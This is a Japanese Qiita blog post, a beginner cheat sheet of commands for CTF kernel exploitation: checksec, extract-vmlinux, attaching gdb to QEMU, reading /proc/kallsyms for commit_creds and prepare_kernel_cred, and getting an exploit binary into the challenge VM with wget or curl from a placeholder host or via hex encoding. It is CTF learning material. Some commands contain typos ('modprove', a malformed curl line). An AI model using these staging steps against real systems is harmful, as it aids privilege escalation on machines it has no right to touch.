LoginSignup
14
7

More than 5 years have passed since last update.

CTFカーネルエクスプロイトで使うコマンドなど色々

Last updated at Posted at 2018-05-07

カーネルエクスプロイトで使うコマンドなど色々

これはまだカーネルエクスプロイトに入門していない人向けの記事です。

セキュリティ機構のチェック

$ checksec --kernel bzImage
 Vanilla Kernel ASLR:                                       Full
  Protected symlinks:                                       Enabled
  Protected hardlinks:                                        Enabled
  Ipv4 reverse path filtering:                       Enabled
  Ipv6 reverse path filtering:                       Disabled
  Kernel heap randomization:              Enabled
  GCC stack protector support:            Disabled
  Enforce read-only kernel data:          Disabled
  Hardened Usercopy:                      Disabled
  Restrict /dev/mem access:               Disabled
  Restrict /dev/kmem access:              Enabled

* X86 only:            
  Address space layout randomization:      Disabled

* SELinux:                                                             No SELinux

  SELinux infomation available here: 
    http://selinuxproject.org/

* grsecurity / PaX:                      No GRKERNSEC

カーネルからvmlinuxを抽出する

$ extract-vmlinux [kernel-image] > vmlinux

QEMU上の仮想マシンにgdbを繋ぐ

QEMUの起動オプションを追加

起動するとすぐにgdbの接続待ちになる(-S を省略すると待たずに続行)

$ -S -gdb tcp::4444

gdbでアタッチする

アタッチしたあとはCtrl-C(SIGINT)で制御をgdbに移すことができる

$ gdb run.sh -ex 'target remote localhost:4444'

cpuの設定を確認する

SMAP(Supervisor Mode Access Protection)やIntel SMEP(Supervisor Mode Execution Protection)の確認ができる

$ cat /proc/cpuinfo

カーネルのシンボル情報を取得する

prepare_kernel_cred()やcommit_creds, 問題のカーネルモジュールのシンボル情報を取得できる

$ cat /proc/kallsyms

カーネルメッセージを確認する

$ dmesg

カーネルモジュールの確認

ロードされているモジュール

$ lsmod

ロードされていないモジュールも含めた一覧

$ modprove -l

QEMUなどの問題環境にバイナリを置く方法

wget

$ wget exmample.com/exploit

curl

$ curl -o exmample.com/exploit

16進数文字列に変換後、問題環境でバイナリに変換

まずバイナリを16進数文字列に変換

# convert.py

import sys
import binascii

with open(sys.argv[1], 'rb') as f:
    binary = f.read()
    enc = binascii.b2a_hex(binary)
    print(enc)

$ python convert.py exploit > exploit.enc

問題の環境でviなどを使って頑張ってコピペしてxxdでバイナリに戻す

$ cat exploit.enc | xxd -r -p > exploit

ディスクイメージをマウントする

ディスク中のファイル改変や抽出等に利用する

$ mount -t ext4 -o loop rootfs.ext2 /mnt
14
7
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
14
7